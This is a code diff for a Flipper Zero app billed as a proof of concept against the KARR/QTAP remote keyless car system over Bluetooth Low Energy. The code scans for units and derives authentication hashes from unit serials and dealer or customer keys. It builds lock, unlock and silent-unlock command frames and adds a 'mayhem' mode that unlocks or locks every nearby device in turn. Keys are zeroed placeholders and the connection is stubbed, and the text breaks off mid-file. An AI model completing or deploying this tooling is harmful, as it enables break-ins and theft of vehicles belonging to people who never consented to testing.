||||
|
||||
submenu_set_header(app->submenu, "BLE Scanner");
|
||||
submenu_add_item(app->submenu, "Scan for devices", 0, NULL, NULL);
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_Submenu);
|
||||
|
||||
app->device_count = 0;
|
||||
|
||||
bool ok = ble_central_scan_start(ble_scanner_central_callback, app);
|
||||
if(!ok) {
|
||||
furi_string_set_str(app->log_text, "ERROR: scan start failed!\n");
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
ble_scanner_app_free(app);
|
||||
return 0;
|
||||
}
|
||||
|
||||
furi_delay_ms(4000);
|
||||
ble_central_scan_stop();
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
furi_string_cat_printf(app->log_text, "Found %zu devices:\n\n", app->device_count);
|
||||
for(size_t i = 0; i < app->device_count; i++) {
|
||||
BleScannerDevice* dev = &app->devices[i];
|
||||
const char* vendor = ble_scanner_lookup_oui(dev->address);
|
||||
if(dev->name[0]) {
|
||||
furi_string_cat_printf(app->log_text, "%zu. %s\n", i + 1, dev->name);
|
||||
} else if(vendor) {
|
||||
furi_string_cat_printf(app->log_text, "%zu. [%s device]\n", i + 1, vendor);
|
||||
} else {
|
||||
furi_string_cat_printf(app->log_text, "%zu. (no name)\n", i + 1);
|
||||
}
|
||||
furi_string_cat_printf(app->log_text, " RSSI: %d\n\n", dev->rssi);
|
||||
}
|
||||
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, BleScannerView_TextBox);
|
||||
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
ble_scanner_app_free(app);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
App(
|
||||
appid="karr_poc_flipper",
|
||||
name="KARR BLE PoC",
|
||||
apptype=FlipperAppType.EXTERNAL,
|
||||
entry_point="karr_poc_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Bluetooth",
|
||||
fap_libs=["ble_central"],
|
||||
requires=["gui"],
|
||||
sources=[
|
||||
"karr_poc.c",
|
||||
"scenes/karr_poc_scene.c",
|
||||
"scenes/karr_poc_scene_start.c",
|
||||
"scenes/karr_poc_scene_scan.c",
|
||||
"scenes/karr_poc_scene_device_menu.c",
|
||||
"scenes/karr_poc_scene_auth.c",
|
||||
"scenes/karr_poc_scene_result.c",
|
||||
"scenes/karr_poc_scene_mayhem_menu.c",
|
||||
"scenes/karr_poc_scene_mayhem_confirm.c",
|
||||
"scenes/karr_poc_scene_mayhem_scan.c",
|
||||
"scenes/karr_poc_scene_mayhem_run.c",
|
||||
"helpers/karr_ble.c",
|
||||
"helpers/qt_auth.c",
|
||||
"helpers/qt_protocol.c",
|
||||
],
|
||||
fap_version="0.1",
|
||||
fap_description="KARR/QTAP remote keyless system PoC",
|
||||
)
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "karr_ble.h"
|
||||
#include <furi.h>
|
||||
#include <string.h>
|
||||
#include "ble_central.h"
|
||||
|
||||
#define TAG "KarrBle"
|
||||
|
||||
typedef struct {
|
||||
KarrBleStatusCallback scan_callback;
|
||||
void* scan_context;
|
||||
bool scanning;
|
||||
bool connected;
|
||||
char unit_serial[KARR_BLE_NAME_MAX_LEN];
|
||||
uint8_t hash[QT_HASH_OUT_LEN];
|
||||
} KarrBle;
|
||||
|
||||
static KarrBle* karr_ble = NULL;
|
||||
|
||||
static void karr_ble_on_central_event(BleCentralEventType event, void* data, void* context) {
|
||||
UNUSED(context);
|
||||
if(!karr_ble) return;
|
||||
|
||||
switch(event) {
|
||||
case BleCentralEventDeviceFound: {
|
||||
BleCentralAdvertisedDevice* dev = (BleCentralAdvertisedDevice*)data;
|
||||
if(karr_ble->scan_callback) {
|
||||
karr_ble->scan_callback(
|
||||
KarrBleStatus_DeviceFound, dev->name, karr_ble->scan_context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case BleCentralEventGattProcComplete: {
|
||||
if(karr_ble->scanning && karr_ble->scan_callback) {
|
||||
karr_ble->scan_callback(
|
||||
KarrBleStatus_ScanStarted, "Discovery complete", karr_ble->scan_context);
|
||||
}
|
||||
break;
|
||||
}
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context) {
|
||||
if(!karr_ble) {
|
||||
karr_ble = malloc(sizeof(KarrBle));
|
||||
}
|
||||
if(karr_ble->scanning) return false;
|
||||
|
||||
karr_ble->scan_callback = callback;
|
||||
karr_ble->scan_context = context;
|
||||
karr_ble->scanning = true;
|
||||
|
||||
if(!ble_central_scan_start(karr_ble_on_central_event, karr_ble)) {
|
||||
karr_ble->scanning = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if(callback) callback(KarrBleStatus_ScanStarted, "Scanning...", context);
|
||||
return true;
|
||||
}
|
||||
|
||||
void karr_ble_scan_stop(void) {
|
||||
if(!karr_ble || !karr_ble->scanning) return;
|
||||
ble_central_scan_stop();
|
||||
karr_ble->scanning = false;
|
||||
karr_ble->scan_callback = NULL;
|
||||
karr_ble->scan_context = NULL;
|
||||
}
|
||||
|
||||
bool karr_ble_connect_and_auth(
|
||||
const KarrBleDevice* device,
|
||||
QtMode mode,
|
||||
KarrBleStatusCallback callback,
|
||||
void* context) {
|
||||
furi_assert(device);
|
||||
|
||||
FURI_LOG_I(TAG, "connect_and_auth to '%s' (STUB)", device->name);
|
||||
strncpy(karr_ble->unit_serial, device->name, sizeof(karr_ble->unit_serial) - 1);
|
||||
karr_ble->unit_serial[sizeof(karr_ble->unit_serial) - 1] = '\0';
|
||||
|
||||
if(callback) callback(KarrBleStatus_Connecting, device->name, context);
|
||||
karr_ble->connected = true;
|
||||
if(callback) callback(KarrBleStatus_Connected, "Connected", context);
|
||||
if(callback) callback(KarrBleStatus_ServiceDiscovered, "Service+Char OK", context);
|
||||
|
||||
uint8_t frame_buf[QT_MAX_FRAME_LEN];
|
||||
size_t frame_len;
|
||||
|
||||
frame_len = qt_protocol_generate(QtCmd_AuthInit, NULL, 0, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX Auth_Init (%zu bytes)", frame_len);
|
||||
if(callback) callback(KarrBleStatus_AuthInitSent, "0x22 sent", context);
|
||||
|
||||
uint8_t fake_challenge[QT_CHALLENGE_LEN] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08};
|
||||
char challenge_msg[32];
|
||||
snprintf(
|
||||
challenge_msg,
|
||||
sizeof(challenge_msg),
|
||||
"%02x%02x%02x%02x%02x%02x%02x%02x",
|
||||
fake_challenge[0], fake_challenge[1], fake_challenge[2], fake_challenge[3],
|
||||
fake_challenge[4], fake_challenge[5], fake_challenge[6], fake_challenge[7]);
|
||||
if(callback) callback(KarrBleStatus_ChallengeReceived, challenge_msg, context);
|
||||
|
||||
bool hash_ok = qt_generate_hash(mode, fake_challenge, karr_ble->unit_serial, karr_ble->hash);
|
||||
if(!hash_ok) {
|
||||
FURI_LOG_E(TAG, "qt_generate_hash failed");
|
||||
if(callback) callback(KarrBleStatus_Error, "Invalid serial for this mode", context);
|
||||
return false;
|
||||
}
|
||||
|
||||
frame_len = qt_protocol_generate(
|
||||
QtCmd_AuthResponse, karr_ble->hash, QT_HASH_OUT_LEN, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX Auth_Response (%zu bytes)", frame_len);
|
||||
if(callback) callback(KarrBleStatus_AuthResponseSent, "0x0F sent", context);
|
||||
if(callback) callback(KarrBleStatus_AuthSuccess, "0x10 received", context);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool karr_ble_send_command(QtCommand command) {
|
||||
if(!karr_ble || !karr_ble->connected) {
|
||||
FURI_LOG_E(TAG, "send_command without connection/auth");
|
||||
return false;
|
||||
}
|
||||
|
||||
uint8_t frame_buf[QT_MAX_FRAME_LEN];
|
||||
size_t frame_len = qt_protocol_generate(command, NULL, 0, frame_buf, sizeof(frame_buf));
|
||||
FURI_LOG_I(TAG, "TX command 0x%02x (%zu bytes)", command, frame_len);
|
||||
return frame_len > 0;
|
||||
}
|
||||
|
||||
void karr_ble_disconnect(void) {
|
||||
if(!karr_ble) return;
|
||||
FURI_LOG_I(TAG, "disconnect (STUB)");
|
||||
karr_ble->connected = false;
|
||||
}
|
||||
|
||||
void karr_ble_mayhem_run(
|
||||
const KarrBleDevice* devices,
|
||||
size_t device_count,
|
||||
QtMode mode,
|
||||
QtCommand command,
|
||||
KarrMayhemDeviceCallback callback,
|
||||
void* context) {
|
||||
for(size_t i = 0; i < device_count; i++) {
|
||||
const KarrBleDevice* dev = &devices[i];
|
||||
FURI_LOG_I(TAG, "mayhem: device %zu/%zu '%s'", i + 1, device_count, dev->name);
|
||||
|
||||
bool auth_ok = karr_ble_connect_and_auth(dev, mode, NULL, NULL);
|
||||
if(!auth_ok) {
|
||||
if(callback) callback(dev, KarrMayhemResult_AuthFailed, context);
|
||||
karr_ble_disconnect();
|
||||
continue;
|
||||
}
|
||||
|
||||
bool sent = karr_ble_send_command(command);
|
||||
karr_ble_disconnect();
|
||||
if(callback) {
|
||||
callback(dev, sent ? KarrMayhemResult_Success : KarrMayhemResult_AuthFailed, context);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
#include "qt_auth.h"
|
||||
#include "qt_protocol.h"
|
||||
|
||||
#define KARR_BLE_SERVICE_UUID "49535343-FE7D-4AE5-8FA9-9FAFD205E455"
|
||||
#define KARR_BLE_CHARACTERISTIC_UUID "49535343-1E4D-4BD9-BA61-23C647249616"
|
||||
|
||||
#define KARR_BLE_MAX_DEVICES 16
|
||||
#define KARR_BLE_NAME_MAX_LEN 32
|
||||
|
||||
typedef struct {
|
||||
char name[KARR_BLE_NAME_MAX_LEN];
|
||||
uint8_t address[6];
|
||||
int8_t rssi;
|
||||
} KarrBleDevice;
|
||||
|
||||
typedef enum {
|
||||
KarrBleStatus_ScanStarted,
|
||||
KarrBleStatus_DeviceFound,
|
||||
KarrBleStatus_Connecting,
|
||||
KarrBleStatus_Connected,
|
||||
KarrBleStatus_ServiceDiscovered,
|
||||
KarrBleStatus_AuthInitSent,
|
||||
KarrBleStatus_ChallengeReceived,
|
||||
KarrBleStatus_AuthResponseSent,
|
||||
KarrBleStatus_AuthSuccess,
|
||||
KarrBleStatus_AuthFailed,
|
||||
KarrBleStatus_CommandSent,
|
||||
KarrBleStatus_Disconnected,
|
||||
KarrBleStatus_Error,
|
||||
} KarrBleStatus;
|
||||
|
||||
typedef void (*KarrBleStatusCallback)(KarrBleStatus status, const char* message, void* context);
|
||||
|
||||
bool karr_ble_scan_start(KarrBleStatusCallback callback, void* context);
|
||||
void karr_ble_scan_stop(void);
|
||||
|
||||
bool karr_ble_connect_and_auth(
|
||||
const KarrBleDevice* device,
|
||||
QtMode mode,
|
||||
KarrBleStatusCallback callback,
|
||||
void* context);
|
||||
|
||||
bool karr_ble_send_command(QtCommand command);
|
||||
|
||||
void karr_ble_disconnect(void);
|
||||
|
||||
typedef enum {
|
||||
KarrMayhemResult_Success,
|
||||
KarrMayhemResult_AuthFailed,
|
||||
KarrMayhemResult_ConnectFailed,
|
||||
} KarrMayhemResult;
|
||||
|
||||
typedef void (*KarrMayhemDeviceCallback)(
|
||||
const KarrBleDevice* device,
|
||||
KarrMayhemResult result,
|
||||
void* context);
|
||||
|
||||
void karr_ble_mayhem_run(
|
||||
const KarrBleDevice* devices,
|
||||
size_t device_count,
|
||||
QtMode mode,
|
||||
QtCommand command,
|
||||
KarrMayhemDeviceCallback callback,
|
||||
void* context);
|
||||
@@ -0,0 +1,43 @@
|
||||
#include "qt_auth.h"
|
||||
#include <string.h>
|
||||
|
||||
static const uint8_t DEALER_KEY[16] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
static const uint8_t CUSTOMER_KEY[16] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
};
|
||||
|
||||
bool qt_generate_hash(
|
||||
QtMode mode,
|
||||
const uint8_t challenge[QT_CHALLENGE_LEN],
|
||||
const char* unit_serial,
|
||||
uint8_t out[QT_HASH_OUT_LEN]) {
|
||||
uint8_t key[16];
|
||||
|
||||
if(mode == QtMode_User || mode == QtMode_Valet) {
|
||||
if(unit_serial == NULL || strlen(unit_serial) < 10) {
|
||||
return false;
|
||||
}
|
||||
memcpy(key, CUSTOMER_KEY, 16);
|
||||
key[3] = (uint8_t)unit_serial[7];
|
||||
key[6] = (uint8_t)unit_serial[8];
|
||||
key[9] = (uint8_t)unit_serial[9];
|
||||
} else {
|
||||
memcpy(key, DEALER_KEY, 16);
|
||||
}
|
||||
|
||||
for(int i = 0; i < 16; i++) {
|
||||
uint32_t acc = key[i];
|
||||
for(int j = 0; j < QT_CHALLENGE_LEN; j++) {
|
||||
acc = (uint32_t)(acc * 0x21u + challenge[j]);
|
||||
}
|
||||
out[2 * i] = (uint8_t)(acc & 0xFF);
|
||||
out[2 * i + 1] = (uint8_t)((acc >> 8) & 0xFF);
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
typedef enum {
|
||||
QtMode_Installer = 0,
|
||||
QtMode_Dealer = 1,
|
||||
QtMode_User = 2,
|
||||
QtMode_NoSale = 3,
|
||||
QtMode_BCA = 4,
|
||||
QtMode_Valet = 5,
|
||||
QtMode_Bootload = 6,
|
||||
QtMode_Unconfigured = 7,
|
||||
} QtMode;
|
||||
|
||||
#define QT_HASH_OUT_LEN 32
|
||||
#define QT_CHALLENGE_LEN 8
|
||||
|
||||
bool qt_generate_hash(
|
||||
QtMode mode,
|
||||
const uint8_t challenge[QT_CHALLENGE_LEN],
|
||||
const char* unit_serial,
|
||||
uint8_t out[QT_HASH_OUT_LEN]);
|
||||
@@ -0,0 +1,82 @@
|
||||
#include "qt_protocol.h"
|
||||
#include <string.h>
|
||||
|
||||
size_t qt_protocol_generate(
|
||||
QtCommand command,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
uint8_t* out_buf,
|
||||
size_t out_buf_size) {
|
||||
bool data_is_null = (data == NULL);
|
||||
size_t effective_data_len = data_is_null ? 1 : data_len;
|
||||
size_t payload_len = effective_data_len + 1;
|
||||
size_t frame_len = 5 + effective_data_len;
|
||||
|
||||
if(frame_len > out_buf_size) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
memset(out_buf, 0, frame_len);
|
||||
|
||||
out_buf[1] = (uint8_t)((payload_len >> 8) & 0xFF);
|
||||
out_buf[2] = (uint8_t)(payload_len & 0xFF);
|
||||
out_buf[3] = (uint8_t)command;
|
||||
|
||||
if(!data_is_null) {
|
||||
memcpy(&out_buf[4], data, data_len);
|
||||
}
|
||||
|
||||
uint32_t checksum = 0;
|
||||
for(size_t i = 0; i < frame_len; i++) {
|
||||
checksum += out_buf[i];
|
||||
}
|
||||
uint8_t crc = (uint8_t)((~(checksum & 0xFF)) + 1);
|
||||
out_buf[frame_len - 1] = crc;
|
||||
|
||||
out_buf[0] = QT_MARKER;
|
||||
|
||||
return frame_len;
|
||||
}
|
||||
|
||||
bool qt_protocol_parse(
|
||||
const uint8_t* uart,
|
||||
size_t uart_len,
|
||||
size_t offset,
|
||||
uint8_t* command_out,
|
||||
uint8_t* data_out,
|
||||
size_t data_out_max,
|
||||
size_t* data_len_out) {
|
||||
if(offset >= uart_len) return false;
|
||||
if(uart[offset] != QT_MARKER) return false;
|
||||
if(offset + 3 > uart_len) return false;
|
||||
|
||||
uint16_t length = ((uint16_t)uart[offset + 1] << 8) | uart[offset + 2];
|
||||
|
||||
size_t crc_pos = offset + 3 + length;
|
||||
if(crc_pos >= uart_len) return false;
|
||||
uint8_t crc_received = uart[crc_pos];
|
||||
|
||||
size_t window_start = offset + 1;
|
||||
size_t window_len = (size_t)length + 2;
|
||||
if(window_start + window_len > uart_len) return false;
|
||||
|
||||
uint32_t checksum = 0;
|
||||
for(size_t i = 0; i < window_len; i++) {
|
||||
checksum += uart[window_start + i];
|
||||
}
|
||||
checksum &= 0xFF;
|
||||
|
||||
if(((crc_received + checksum) & 0xFF) != 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
*command_out = uart[offset + 3];
|
||||
|
||||
size_t dlen = (length >= 1) ? (length - 1) : 0;
|
||||
if(dlen > data_out_max) return false;
|
||||
|
||||
memcpy(data_out, &uart[offset + 4], dlen);
|
||||
*data_len_out = dlen;
|
||||
|
||||
return true;
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#define QT_MARKER 0xAA
|
||||
#define QT_MAX_DATA_LEN 64
|
||||
#define QT_MAX_FRAME_LEN (QT_MAX_DATA_LEN + 5)
|
||||
|
||||
typedef enum {
|
||||
QtCmd_LockDoors = 0x0B,
|
||||
QtCmd_UnlockDoors = 0x0C,
|
||||
QtCmd_SilentLock = 0x25,
|
||||
QtCmd_SilentUnlock = 0x26,
|
||||
|
||||
QtCmd_AuthInit = 0x22,
|
||||
QtCmd_AuthChallenge = 0x0E,
|
||||
QtCmd_AuthResponse = 0x0F,
|
||||
QtCmd_AuthSuccess = 0x10,
|
||||
} QtCommand;
|
||||
|
||||
size_t qt_protocol_generate(
|
||||
QtCommand command,
|
||||
const uint8_t* data,
|
||||
size_t data_len,
|
||||
uint8_t* out_buf,
|
||||
size_t out_buf_size);
|
||||
|
||||
bool qt_protocol_parse(
|
||||
const uint8_t* uart,
|
||||
size_t uart_len,
|
||||
size_t offset,
|
||||
uint8_t* command_out,
|
||||
uint8_t* data_out,
|
||||
size_t data_out_max,
|
||||
size_t* data_len_out);
|
||||
@@ -0,0 +1,97 @@
|
||||
#include "karr_poc_app.h"
|
||||
#include "scenes/karr_poc_scene.h"
|
||||
|
||||
extern const SceneManagerHandlers karr_poc_scene_handlers;
|
||||
|
||||
const char* const karr_default_allowlist[] = {
|
||||
"PLACEHOLDER-SERIAL-1",
|
||||
"PLACEHOLDER-SERIAL-2",
|
||||
};
|
||||
const size_t karr_default_allowlist_count =
|
||||
sizeof(karr_default_allowlist) / sizeof(karr_default_allowlist[0]);
|
||||
|
||||
static bool karr_poc_app_custom_event_callback(void* context, uint32_t event) {
|
||||
KarrPocApp* app = context;
|
||||
return scene_manager_handle_custom_event(app->scene_manager, event);
|
||||
}
|
||||
|
||||
static bool karr_poc_app_back_event_callback(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
return scene_manager_handle_back_event(app->scene_manager);
|
||||
}
|
||||
|
||||
static KarrPocApp* karr_poc_app_alloc(void) {
|
||||
KarrPocApp* app = malloc(sizeof(KarrPocApp));
|
||||
memset(app, 0, sizeof(KarrPocApp));
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
|
||||
app->view_dispatcher = view_dispatcher_alloc();
|
||||
app->scene_manager = scene_manager_alloc(&karr_poc_scene_handlers, app);
|
||||
|
||||
view_dispatcher_set_event_callback_context(app->view_dispatcher, app);
|
||||
view_dispatcher_set_custom_event_callback(app->view_dispatcher, karr_poc_app_custom_event_callback);
|
||||
view_dispatcher_set_navigation_event_callback(app->view_dispatcher, karr_poc_app_back_event_callback);
|
||||
|
||||
app->submenu = submenu_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Submenu, submenu_get_view(app->submenu));
|
||||
|
||||
app->widget = widget_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_Widget, widget_get_view(app->widget));
|
||||
|
||||
app->text_box = text_box_alloc();
|
||||
view_dispatcher_add_view(app->view_dispatcher, KarrPocView_TextBox, text_box_get_view(app->text_box));
|
||||
|
||||
app->log_text = furi_string_alloc();
|
||||
|
||||
app->mode = QtMode_User;
|
||||
app->pending_command = QtCmd_UnlockDoors;
|
||||
|
||||
app->allowlist_enabled = true;
|
||||
app->allowlist_count = karr_default_allowlist_count < KARR_ALLOWLIST_MAX
|
||||
? karr_default_allowlist_count
|
||||
: KARR_ALLOWLIST_MAX;
|
||||
for(size_t i = 0; i < app->allowlist_count; i++) {
|
||||
strncpy(app->allowlist[i], karr_default_allowlist[i], KARR_BLE_NAME_MAX_LEN - 1);
|
||||
app->allowlist[i][KARR_BLE_NAME_MAX_LEN - 1] = '\0';
|
||||
}
|
||||
app->mayhem_mode = QtMode_User;
|
||||
app->mayhem_command = QtCmd_UnlockDoors;
|
||||
|
||||
view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen);
|
||||
|
||||
return app;
|
||||
}
|
||||
|
||||
static void karr_poc_app_free(KarrPocApp* app) {
|
||||
furi_string_free(app->log_text);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Submenu);
|
||||
submenu_free(app->submenu);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_Widget);
|
||||
widget_free(app->widget);
|
||||
|
||||
view_dispatcher_remove_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
text_box_free(app->text_box);
|
||||
|
||||
scene_manager_free(app->scene_manager);
|
||||
view_dispatcher_free(app->view_dispatcher);
|
||||
|
||||
furi_record_close(RECORD_GUI);
|
||||
|
||||
free(app);
|
||||
}
|
||||
|
||||
int32_t karr_poc_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
KarrPocApp* app = karr_poc_app_alloc();
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, KarrPocScene_Start);
|
||||
view_dispatcher_run(app->view_dispatcher);
|
||||
|
||||
karr_poc_app_free(app);
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_dispatcher.h>
|
||||
#include <gui/scene_manager.h>
|
||||
#include <gui/modules/submenu.h>
|
||||
#include <gui/modules/widget.h>
|
||||
#include <gui/modules/text_box.h>
|
||||
|
||||
#include "helpers/karr_ble.h"
|
||||
#include "helpers/qt_auth.h"
|
||||
#include "helpers/qt_protocol.h"
|
||||
|
||||
#define KARR_POC_LOG_MAX_LEN 1024
|
||||
|
||||
typedef enum {
|
||||
KarrPocView_Submenu,
|
||||
KarrPocView_Widget,
|
||||
KarrPocView_TextBox,
|
||||
} KarrPocView;
|
||||
|
||||
#define KARR_ALLOWLIST_MAX 4
|
||||
|
||||
extern const char* const karr_default_allowlist[];
|
||||
extern const size_t karr_default_allowlist_count;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewDispatcher* view_dispatcher;
|
||||
SceneManager* scene_manager;
|
||||
|
||||
Submenu* submenu;
|
||||
Widget* widget;
|
||||
TextBox* text_box;
|
||||
|
||||
KarrBleDevice devices[KARR_BLE_MAX_DEVICES];
|
||||
size_t device_count;
|
||||
size_t selected_device;
|
||||
|
||||
QtMode mode;
|
||||
QtCommand pending_command;
|
||||
|
||||
char allowlist[KARR_ALLOWLIST_MAX][KARR_BLE_NAME_MAX_LEN];
|
||||
size_t allowlist_count;
|
||||
bool allowlist_enabled;
|
||||
QtMode mayhem_mode;
|
||||
QtCommand mayhem_command;
|
||||
|
||||
FuriString* log_text;
|
||||
} KarrPocApp;
|
||||
|
||||
typedef enum {
|
||||
KarrPocEvent_DeviceFound,
|
||||
KarrPocEvent_AuthStep,
|
||||
KarrPocEvent_AuthDone,
|
||||
KarrPocEvent_AuthFailed,
|
||||
KarrPocEvent_CommandDone,
|
||||
|
||||
KarrPocEvent_MayhemToggleAllowlist,
|
||||
KarrPocEvent_MayhemUnlockUser,
|
||||
KarrPocEvent_MayhemLockUser,
|
||||
KarrPocEvent_MayhemUnlockDealer,
|
||||
KarrPocEvent_MayhemLockDealer,
|
||||
KarrPocEvent_MayhemConfirmYes,
|
||||
KarrPocEvent_MayhemConfirmNo,
|
||||
KarrPocEvent_MayhemScanDone,
|
||||
KarrPocEvent_MayhemRunDone,
|
||||
} KarrPocCustomEvent;
|
||||
@@ -0,0 +1,26 @@
|
||||
#include "karr_poc_scene.h"
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter,
|
||||
void (*const karr_poc_scene_on_enter_handlers[])(void*) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event,
|
||||
bool (*const karr_poc_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit,
|
||||
void (*const karr_poc_scene_on_exit_handlers[])(void* context) = {
|
||||
#include "karr_poc_scene_config.h"
|
||||
};
|
||||
#undef ADD_SCENE
|
||||
|
||||
const SceneManagerHandlers karr_poc_scene_handlers = {
|
||||
.on_enter_handlers = karr_poc_scene_on_enter_handlers,
|
||||
.on_event_handlers = karr_poc_scene_on_event_handlers,
|
||||
.on_exit_handlers = karr_poc_scene_on_exit_handlers,
|
||||
.scene_num = KarrPocScene_count,
|
||||
};
|
||||
@@ -0,0 +1,17 @@
|
||||
#pragma once
|
||||
|
||||
#include <gui/scene_manager.h>
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) KarrPocScene_##id,
|
||||
typedef enum {
|
||||
#include "karr_poc_scene_config.h"
|
||||
KarrPocScene_count,
|
||||
} KarrPocScene;
|
||||
#undef ADD_SCENE
|
||||
|
||||
#define ADD_SCENE(prefix, name, id) \
|
||||
void prefix##_scene_##name##_on_enter(void* context); \
|
||||
bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); \
|
||||
void prefix##_scene_##name##_on_exit(void* context);
|
||||
#include "karr_poc_scene_config.h"
|
||||
#undef ADD_SCENE
|
||||
@@ -0,0 +1,91 @@
|
||||
#include "karr_poc_scene.h"
|
||||
#include "../karr_poc_app.h"
|
||||
|
||||
static const char* karr_ble_status_label(KarrBleStatus status) {
|
||||
switch(status) {
|
||||
case KarrBleStatus_ScanStarted:
|
||||
return "Scan started";
|
||||
case KarrBleStatus_DeviceFound:
|
||||
return "Device found";
|
||||
case KarrBleStatus_Connecting:
|
||||
return "Connecting";
|
||||
case KarrBleStatus_Connected:
|
||||
return "Connected";
|
||||
case KarrBleStatus_ServiceDiscovered:
|
||||
return "Service/char OK";
|
||||
case KarrBleStatus_AuthInitSent:
|
||||
return "TX 0x22 (init)";
|
||||
case KarrBleStatus_ChallengeReceived:
|
||||
return "RX 0x0E (challenge)";
|
||||
case KarrBleStatus_AuthResponseSent:
|
||||
return "TX 0x0F (hash)";
|
||||
case KarrBleStatus_AuthSuccess:
|
||||
return "RX 0x10 (success)";
|
||||
case KarrBleStatus_AuthFailed:
|
||||
return "AUTH FAILED";
|
||||
case KarrBleStatus_CommandSent:
|
||||
return "Command sent";
|
||||
case KarrBleStatus_Disconnected:
|
||||
return "Disconnected";
|
||||
case KarrBleStatus_Error:
|
||||
return "ERROR";
|
||||
default:
|
||||
return "?";
|
||||
}
|
||||
}
|
||||
|
||||
static void karr_poc_scene_auth_ble_callback(KarrBleStatus status, const char* message, void* context) {
|
||||
KarrPocApp* app = context;
|
||||
|
||||
furi_string_cat_printf(app->log_text, "%s: %s\n", karr_ble_status_label(status), message);
|
||||
text_box_set_text(app->text_box, furi_string_get_cstr(app->log_text));
|
||||
|
||||
if(status == KarrBleStatus_AuthSuccess) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthDone);
|
||||
} else if(status == KarrBleStatus_AuthFailed || status == KarrBleStatus_Error) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
|
||||
}
|
||||
}
|
||||
|
||||
void karr_poc_scene_auth_on_enter(void* context) {
|
||||
KarrPocApp* app = context;
|
||||
KarrBleDevice* dev = &app->devices[app->selected_device];
|
||||
|
||||
furi_string_reset(app->log_text);
|
||||
text_box_reset(app->text_box);
|
||||
text_box_set_font(app->text_box, TextBoxFontText);
|
||||
|
||||
view_dispatcher_switch_to_view(app->view_dispatcher, KarrPocView_TextBox);
|
||||
|
||||
bool ok = karr_ble_connect_and_auth(dev, app->mode, karr_poc_scene_auth_ble_callback, app);
|
||||
|
||||
if(!ok) {
|
||||
view_dispatcher_send_custom_event(app->view_dispatcher, KarrPocEvent_AuthFailed);
|
||||
}
|
||||
}
|
||||
|
||||
bool karr_poc_scene_auth_on_event(void* context, SceneManagerEvent event) {
|
||||
KarrPocApp* app = context;
|
||||
bool consumed = false;
|
||||
|
||||
if(event.type == SceneManagerEventTypeCustom) {
|
||||
if(event.event == KarrPocEvent_AuthDone) {
|
||||
bool sent = karr_ble_send_command(app->pending_command);
|
||||
furi_string_cat_printf(
|
||||
